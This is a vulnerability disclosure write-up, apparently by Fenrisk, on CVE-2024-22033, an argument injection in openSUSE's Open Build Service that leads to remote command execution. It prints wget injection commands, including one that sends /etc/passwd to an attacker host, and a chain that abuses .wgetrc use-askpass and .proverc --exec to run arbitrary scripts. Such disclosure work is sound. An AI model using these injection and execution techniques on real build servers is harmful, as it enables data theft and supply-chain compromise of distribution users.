![]() |
Supply Chain Attacks on Linux distributions - OpenSUSE Open Build Service |
Open build service (OBS) is an open source distribution development platform provided by openSUSE. It allows developers to manage the whole packaging process in order to build a package from a simple software source and recipe. OBS creates images and packages for many operating systems and architectures. It is used by Opensuse (https://build.openSUSE.org/) and related Linux distributions but it is also used by projects and companies such as VLC, Dell or Intel. It supports a wide range of package formats such as RPM (for Red Hat and SUSE-based distributions), DEB (for Debian and Ubuntu), as well as newer formats like Flatpak and AppImage.
We recently discovered a critical vulnerability on the web frontend of this application that allows a remote attacker to execute system commands on the server. This vulnerability is an argument injection in the source code retrieval process. The application has now been patched and the CVE-2024-22033 has been assigned.
OBS frontend provides features like user and access management, projects and packages handling and manipulation of OBS data. Specifically, it is a Ruby on Rails application using a SQL database. Users can interact with the frontend using the web application or a Python-based CLI.
The OBS backend is responsible for handling source files and build jobs. The backend is basically composed of:
The backend provides users with many ways to manage input files using services (such as source code, archives, recipes, etc.). Backend services consist of a set of scripts written in different languages (bash, python or perl). They are used to clone sources from Git or SVN repositories, to extract files from an archive, to verify checksums, etc. These services are called by the backend as subprocesses according to clients’ requests. The backend is also responsible for building jobs, monitoring of the building process and package signing features. Details about OBS architecture are available in the documentation (https://openbuildservice.org/help/manuals/obs-admin-guide/cha-obs-admin).
The build process workflow functions essentially as follows:
More details about the architecture are available in the documentation (https://openbuildservice.org/help/manuals/obs-user-guide/cha-obs-architecture)
In the frontend, the services involved in a build are configured in a XML file _service
. This file is automatically created within the package’s directory and can be read and modified by users.
Installation of each software component is highly configurable but an all-in-one virtual machine is provided by OBS to make tests and developments.
The OBS backend service responsible for downloading source code from a URL download_url
is called when a user adds files using the File URL feature. For instance, using this feature to download a file from http://server.com:5000/myfile
will automatically add the following content to the _service
XML file in the package repository:
The download_url
service is executed as follows:
/usr/lib/obs/service//download_url --url http://server.com:5000/myfile --outdir /srv/obs/service/...
Then, the script download_url
calls the following wget subprocess in the temporary package repository:
/usr/bin/wget -4 http://server.com:5000/myfile
The parsing and the execution of _service
project files is managed in /usr/lib/obs/server/bs_service
process. As shown in the code below, the _service
project file is parsed (line 156) and the URL is built according to the XML param field values (line 171). Spaces are properly escaped, and no argument is injectable at this time because a valid wget call needs at least one URL. Finally, the built command is executed (line 185).
However, the documentation of the download_url
service indicates that an option download-manifest
is available. This option builds a wget command using the --input-file
option which can be substituted to URL in a valid wget command.
Using the service option download-manifest
, the injection is now possible. The following steps have to be done :
http://attacker.fenri.sk/myfile
.http://attacker.fenri.sk/myfile
and upload it in the OBS package using the frontend.The download_url
service executes a valid wget subprocess in the temporary build directory:
/usr/bin/wget -i /srv/obs/service/XXXXX/src/tempfile -4 --output-document=/tmp/test
When the wget command is executed, the file /tmp/test
is created with the content of myfile. This file does not have execution rights and is owned by obsservicerun
.
We are also able to read files on the file system by injecting argument --post-file
instead of --output-document
as follows:
/usr/bin/wget -i /srv/obs/service/XXXXX/src/tempfile -4 --post-file=/etc/passwd
The file content is sent as POST data to the URL specified in tempfile
.
At this point, we are able to read and write files on the filesystem as an unprivileged user but constraints are:
To sum up, we try to trigger a complex command execution using a file write in an unprivileged user’s home directory. Assuming that the wget command is executed, the helper shows us the use-askpass
option can be used to specify credential handler for requesting:
However, wget takes its arguments from the command line as well as .wgetrc
. Writing a .wgetrc
file in the home directory of the user obsservicerun (/srv/obs/service/.wgetrc
), using the use-askpass
option, will trigger a simple binary execution (/usr/bin/id
in the example) during the next call to wget:
Note: At this point, the injection could also be triggered by injecting directly the argument --use-askpass
in the _source
file.
Unfortunately, this binary execution cannot be called with arguments. Copying and executing a script is not an option because of the insufficient execution rights on uploaded files.
How to transform this binary call into a full command execution in order to establish a connect back on our server ?
We targeted installed binaries that use rc files for configuration expecting to find another option that would be helpful:
Many of these rc files could not help us because they are used by softwares that need an interactive shell or because they haven’t any option that executes system commands.
Finally, we found prove
, the Perl test manager. prove
is used to launch, merge, enable or disable tests and to define test output specifications (https://linux.die.net/man/1/prove). The command loads options from a .proverc
file if it exists and one of its options executes a system command (--exec
):
Then, using a .wgetrc
file that calls prove, we’re able to transform this limited binary execution into full command execution:
We just need to write a .proverc
file in the home directory of the user obsservicerun
that contains, for example:
The next call to wget will trigger the call of prove through use-askpass
option. Prove will read options from .proverc
files and execute the arbitrary command: /bin/bash /tmp/script.sh
We demonstrated that the package builder of a major Linux distribution (and forked distributions) could be compromised using a well known bug category. An attacker, compromising the builder server, would be able to reach secrets used by the signer in order to push evil packages to compromise OpenSuse users.
It should be noted that the OpenSuse security team brought a very fast answer to this report. An effective patch was available within a few days. We would like to thank them for their reactivity and efficiency.
Maxime Rinaudo est le co-fondateur de Fenrisk ainsi que l'un de ses experts en sécurité. Il est également passionné par la sécurité des applications web. Après avoir travaillé dix années au sein du Ministère des armées et 3 ans en tant que consultant à Paris, Maxime à décidé de rejoindre Julien dans son aventure afin de partager leur vision de la sécurité offensive.